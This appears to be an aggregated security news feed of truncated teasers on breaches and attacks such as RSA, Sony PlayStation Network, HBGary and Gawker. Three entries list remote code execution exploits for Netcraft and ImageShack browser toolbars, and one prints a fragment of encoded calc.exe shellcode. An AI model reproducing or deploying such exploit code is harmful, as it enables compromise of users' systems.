Report: RSA Hack Part Of Larger Operation

A sophisticated attack against RSA, the security division of EMC, shares characteristics with similar attacks against Western firms, according to the security blog Krebsonsecurity. Despite RSA’s claims that it was the victim of a unique and targeted attack, research into the incident by reporter...

Sony: Hackers Nabbed Info Of 70 Million Members

Sony admitted that hackers broke into its PlayStation Network online gaming network made off with the personal information of more than 77 million members in what would be one of the largest reported data breaches in history. A message posted on the PlayStation Network Web site informed customers...

Google Buys Security Firm Zynamics

Google has acquired a small German security start-up called Zynamics, which is well-known in the security industry for its reverse-engineering and analysis tools. Zynamics announced the deal on its corporate blog on Tuesday, saying little other than that the company had been acquired by Google. T...

OddJob Trojan Piggybacks On Legitimate eBanking Sessions

A new Trojan leads online banking customer into thinking they have logged out of their sessions when in fact they remain logged in. Discovered by Trusteer researchers, this completely new piece of malware represents the evolution of online attacks in the ways in which it integrates new and old...

Lessons to learn from the HBGary Federal hack !

The Anonymous attack on HBGary may have amused some who enjoyed the sight of a security firm left embarrassed and exposed, but it should send a shiver down the spine of any IT administrator responsible for securing their own company. Because can you honestly put your hand on your heart and say a...

The inside story of the HBGary hack by Anonymous Hackers !

It has been an embarrassing week for security firm HBGary and its HBGary Federal offshoot. HBGary Federal CEO Aaron Barr thought he had unmasked the hacker hordes of Anonymous and was preparing to name and shame those responsible for co-ordinating the group's actions, including the...

Spammers Moving to Social Networks

Its not just Wall Street giants like Goldman Sachs that see dollar signs hovering over Facebook. Spammers are hopping on the social networking giant to fool users, according to a report from security firm Cloudmark. Spammers are using botnets to send a barrage of malicious e-mail spam that mimic...

Internal Memo Outlines Gawker's Security Plan

After a hack of systems belonging to online publishing giant Gawker Media that yielded more than one million passwords, the online media company’s chief technology officer has announced new defense strategies aimed at placating their users and preventing further humiliating data breaches. Gawker...

Wikileaks: Controversial, But is it NSFW?

As government agencies and the military bar access to the WIkileaks documents, a poll of Web filtering providers finds most label the leak site more “newsy” than “naughty.” HED: Wikileaks: Controversial, But is it NSFW? DEK: As companies look to bar access to the WIkileaks documents or not Web...

Unauthorized Access to Ohio State Server Affects 760,000

UPDATE Ohio State University warned those who have had contact with the University that a server containing personally identifiable data was illegally accessed by a third party and may have exposed data on 760,000 people. The university is notifying past and present students, faculty, staff, and...

Netcraft Toolbar 1.8.1 Code Execution

// runs calc.exe var shellc...

Netcraft Toolbar 1.8.1 - Remote Code Execution

Netcraft Toolbar 1.8.1 - Remote Code Execution // runs calc.exe var shellcode = unescape '%u...

ImageShack Toolbar 4.8.3.75 - Remote Code Execution

// calc.exe var shellcode = unescape '%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+ '%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+ '%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+ '%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+...

Cyber Criminal Underground: The Comics Edition

The criminal underworld is an insular community shrouded in secrecy. That’s helped lend an air of mystique to cyber crime. See also: Bruce Willis in “Die Hard 4: Live Free or Die Hard.”. But it turns out that, like so much else, real life cyber crime is… well… pretty dull. How dull? Comic artist...

My Opera Found To Host Malware

HED: MyOpera found to host malware BAK: The My Opera free Web hosting service is hosting malicious code, just the latest prominent hosting service to be gamed by malware distributors. Less than a month after Google’s Code hosting service was found to be hosting and serving malicious executables, ...

New Study Shows Nearly No Difference in Security of Web Frameworks

A new study by a Web security firm has found that despite the myriad differences in the common programming languages and frameworks deployed on the Web today, there is virtually no difference in their practical security and resistance to attack. The study, done by WhiteHat Security and based on...

Puerto Rico sites redirected in DNS attack

From CNet News Elinor Mills An attack on the main domain name system registrar in Puerto Rico led to the local Web sites of Google, Microsoft, Yahoo, Coca-Cola, and other big companies being redirected for a few hours on Sunday to sites that were defaced, according to security firm Imperva. Those...